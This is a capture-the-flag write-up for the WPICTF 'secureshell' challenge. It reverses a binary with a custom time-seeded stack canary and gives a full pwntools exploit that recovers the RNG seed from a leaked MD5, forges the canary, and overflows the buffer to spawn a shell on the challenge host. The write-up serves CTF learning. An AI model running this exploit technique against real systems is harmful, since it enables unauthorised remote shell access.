I made the most secure remote shell there is!
nc secureshell.wpictf.xyz 31337 (or 31338 or 31339)
Authors of the Write-Up: Klecko and JlXip
For the analysis part we’re going to use a disassembler. Any will do, but I will be using
We are given a 64-bit ELF executable. When executed, we are asked for a password. If we enter something, we’ll get a segmentation fault.
However, as we’ll realize later, the program gets an environment variable called
SECUREPASSWORD, so we’ll set it now to have a look at the intended functionality.
If we enter a wrong password, we get an Incident UUID, which looks like a hash. If we type the right one, we get a bash shell. Finally, if we try to overflow the buffer expecting a segmentation fault, we get a message saying
LARRY THE CANARY IS DEAD. Poor Larry. So it seems there’s a canary implemented. Let’s look at the output of
Seems like it’s not a position independent executable, and no compiler stack canary is present. This combination tells us that we could potentially perform a buffer overflow attack. However, we know that there’s actually a canary, which was not detected because it is not the compiler’s one. This makes buffer overflow harder to exploit.
Let’s first take a look at Ghidra’s decompilation of
main, so we can get the general idea of the main control flow.
As it can be seen, it calls a method named
init, prints the welcome message, and calls
checkpw. If the returned value is 0,
logit method is called, and goes for another attempt (until the 4th is reached, in which case the program exits). Otherwise, it spawns a shell.
Back to Hopper, let’s have a look at
This method gets the time in seconds and microseconds. Then, multiplies the seconds by one million, and adds the microseconds. It actually gets only the last four bytes, as it is saved into
edi. The obtained value is sent as a parameter to
srand, which sets the seed of the C RNG.
init returns, the method
checkpw is called, which allocates 4 variables in the stack. I’ve named them accordingly so we can refer to them later.
It gets two random numbers and joins them (as can be seen below). The result is later stored at variables
The program prints
Enter the password, and calls
fgets with a size of 256 bytes. The result will be stored at
USER_INPUT. However, that variable is only 104 bytes long, so here’s where the buffer overflow could be run. The only issue is that, as we know, some sort of stack canary protection is present (hence the random numbers above), even though it’s not the compiler’s.
The executable then gets the contents of an environment variable called
SECUREPASSWORD, and compares it to the read string. If they match,
checkpw returns 1; if they dont, 0. But before any of that,
stakcheck is called, which is a method that just checks whether the contents of
CANARY_BOTTOM match. If they don’t,
LARRY THE CANARY IS DEAD is printed out, and the program exits.
If the password is correct, a shell is spawned. Otherwise, the method
logit is called. This method gets a random number, hashes it with MD5, and prints it as an “Incident UUID”. It also seems to write something to
/dev/null, but it won’t be relevant.
As you can see, although there is a buffer overflow it can’t be exploited as usual because of Larry the Canary. We know for sure that it can be exploited, so there must be a way to either bypass it or guess it.
The vulnerability is in fact that the canary is made up of random numbers, and a random number is printed (or the MD5 hash of it, which is the UUID). As we know how the program calculates the RNG seed, we could get an approximation of the RNG seed (as soon as the connection is made), and bruteforce it with some lower bounds, until the third random number (which we’ll hash with MD5) matches the UUID. If we get the seed, we might as well get the 4th and 5th random numbers derived from it, which would give us the canary of the following login attempt and allow us to perform the buffer overflow, so that the return address of
checkpw would point to the method that spawns the shell.
Here’s what our is script is going to do:
- As soon as the connection is established, we’re going to generate a seed, just as the program does. This seed will be quite close to the real seed.
- We are going to send a wrong password in order to get the UUID, which is the MD5 of a random number.
- Once we get the UUID, we are going to bruteforce the seed comparing the MD5 of the third number of each candidate to the given UUID.
- Once we get the seed, we generate the canary using the fourth and fifth random numbers.
- Send a payload with the canary that overwrites the return address, and get a shell!
As usual, we’ll use python with
pwntools as main tool. In order to use libc
rand, we’ll use
ctypes to load the library and have access to its functions.
Let’s create some functions that will help us divide our script in smaller parts. First, let’s get the approximate seed:
def get_approximate_seed(): n = time() secs = int(n) microsecs = int(n%1 * 1000000) #That's how secureshell gets the seed. seed = (secs * 1000000 + microsecs) & 0xFFFFFFFF return seed
Next, let’s create a function that takes the MD5 hash printed by the program and the approximate seed, and returns the real seed:
def get_exact_seed(md5, approximate_seed): min = approximate_seed - 0x00050000 max = approximate_seed + 0x00200000 result = 0 #Bruteforces every possible in a range. for seed in range(min, max): libc.srand(seed) libc.rand() #two first values are used libc.rand() #for the first canary n = libc.rand() #third value is the one of the displayed md5 if hashlib.md5(p32(n)).hexdigest() == md5: result = seed break return result
The last one will get the real seed and return the second canary, which is made up of the forth and fifth random numbers:
def get_canary(seed): libc.srand(seed) libc.rand() libc.rand() libc.rand() n1 = libc.rand() n2 = libc.rand() return n2 ^ n1 << 0x20
The canary is located 8 bytes after the end of the buffer, and the return address is located 8 bytes after the canary, so the final payload would be a padding of 112 bytes, the canary, a padding of 8 bytes, and the address of the function
Now we only have to put everything together. While doing this, we realized that the UUID the program printed was not the actual hash. We had to swap the first half with the second half, and then reverse the bytes because of Little-Endian. Also, cracking the seed fails sometimes when the length of the UUID is less than 32. That’s due to the way secureshell prints it, which is as two concatenated longs. One or both of them could have zeros in the left, and they would not be printed, which leads to a wrong MD5 hash. This can be easily fixed, but since we didn’t need it to be perfect, we didn’t bother doing it. The final script results in this:
from pwn import * from ctypes import * from time import time import hashlib import sys PATH = "./secureshell" REMOTE = True SHELL_ADDR = 0x40125c context.binary = PATH def get_approximate_seed(): n = time() secs = int(n) microsecs = int(n%1 * 1000000) #That's how secureshell gets the seed. seed = (secs * 1000000 + microsecs) & 0xFFFFFFFF return seed def get_exact_seed(md5, approximate_seed): min = approximate_seed - 0x00050000 max = approximate_seed + 0x00200000 result = 0 #Bruteforces every possible in a range. for seed in range(min, max): libc.srand(seed) libc.rand() #two first values are used libc.rand() #for the first canary n = libc.rand() #third value is the one of the displayed md5 if hashlib.md5(p32(n)).hexdigest() == md5: result = seed break return result def get_canary(seed): libc.srand(seed) libc.rand() libc.rand() libc.rand() n1 = libc.rand() n2 = libc.rand() return n2 ^ n1 << 0x20 if REMOTE: p = remote("secureshell.wpictf.xyz" ,31337) else: p = process(PATH) #Gets approximate seed when the program starts. approximate_seed = get_approximate_seed() log.info("Approximate seed: " + hex(approximate_seed)) #Loads libc so we can use srand and rand. cdll.LoadLibrary("libc.so.6") libc = CDLL("libc.so.6") p.recvuntil("password") p.sendline("asdasd") data = p.recvline_contains("UUID") #Gets the UUID, swaps it to get the actual md5. uuid = data.split().rjust(32, "0") log.info("UUID: " + uuid) hash = uuid[16:] + uuid[:16] hash = "".join([hash[i-1]+hash[i] for i in range(len(hash)-1,-1,-2)]) log.info("Hash: " + hash) #Bruteforces the seed. pr = log.progress("Bruteforcing seed") pr.status("working...") seed = get_exact_seed(hash, approximate_seed) if seed == 0: #Sometimes fails when len(uuid) < 32. pr.failure() sys.exit() else: pr.success() #Once we have the seed, gets the canary. log.info("Seed cracked: " + hex(seed)) canary = get_canary(seed) log.info("Canary: " + hex(canary)) p.recvuntil("password") log.info("Sending payload...") payload = "A"*112 payload += pack(canary) payload += "A"*8 payload += pack(SHELL_ADDR) p.sendline(payload) p.interactive()
After running it we get the shell, and then just